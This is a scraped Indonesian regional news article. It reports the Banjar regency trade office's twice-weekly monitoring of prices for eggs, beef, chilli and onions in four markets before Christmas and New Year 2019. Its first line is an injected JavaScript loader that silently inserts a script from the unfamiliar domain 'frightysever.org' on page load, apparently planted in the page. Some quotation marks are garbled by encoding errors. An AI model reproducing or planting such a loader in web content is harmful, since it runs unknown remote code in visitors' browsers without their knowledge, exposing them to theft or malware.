(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Menjelang perayaan Hari Besar Keagamaan Nasional (HBKN) Natal dan Tahun Baru 2019, Dinas Perindustrian dan Perdagangan Kabupaten Banjar, kembali melakukan aksi pengamanan stabilisasi pasokan dan harga pangan. Salah satu cara yang dilakukan yakni dengan memonitor harga pangan hingga pasokan pangan di pasar.
Kepala Bidang Perdagangan Disperindag Kabupaten Banjar Ferryansyah SE, MM, saat ditemui Kanalkalimantan.com, mengatakan, menjelang perayaan HBKN Natal dan Tahun Baru 2019 pihaknya telah melaksanakan peningkatan monitoring pengawasan terhadap gejolak kenaikan harga bahan pokok. Monitoring dilakukan seminggu dua kali dengan menyasar empat pasar sekaligus.
“Peningkatan monitoring pengawasan terhadap gejolak kenaikan harga bahan pokok yang kita laksanakan seminggu dua kali tersebut meliputi Pasar tradisional diwilayah Kertak Anyar, Gambut, Martapura, dan Pasar yang berada di Astambul,†ujarnya usai monitoring pasar di kawasan Kecamatan Kertak Hanyar, Kamis (13/12).
Pada kegiatan ini, Disperindag Banjar juga berkalaborasi bersama Tim Pengendalian Inflasi Daerah (TPID), hingga Satgas Pangan Polres Banjar. Ferry memprediksi, bahan pangan yang nantinya akan mengalami kenaikan harga tersebut seperti telur, daging sapi, cabai dan bawang. Mengingat beberapa ketersediaan bahan pokok tersebut kabupaten Banjar masih ketergantungan dengan daerah lain dan masih belum dapat memproduksi sendiri.
“Memang empat bahan pokok tersebut kita prediksi naik menjelang perayaan HBKN Natal dan Tahun Baru, namun secara keseluruhan stabil dan tidak lebih dari 9 persen,†akunya.
Ditambahkan Ferry adapun monitoring ini tujuannya untuk stabilisasi pemantauan harga saja, bila memang ada temuan atau penimbunan maka akan ditindak lanjuti oleh satgas pangan dan apa bila ada kelangkaan maka kita akan laksanakan operasi pasar murah.
“Saya menghimbau kepada masyarakat untuk membeli sesuai kebutuhannya, jangan membeli secara berlebihan nanti terindikasi penimbunan, dan bagi pedagang untuk mengambil keuntungan yang sewajarnya saja, sehingga masyarakat dan pedangan sendiri nyaman,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.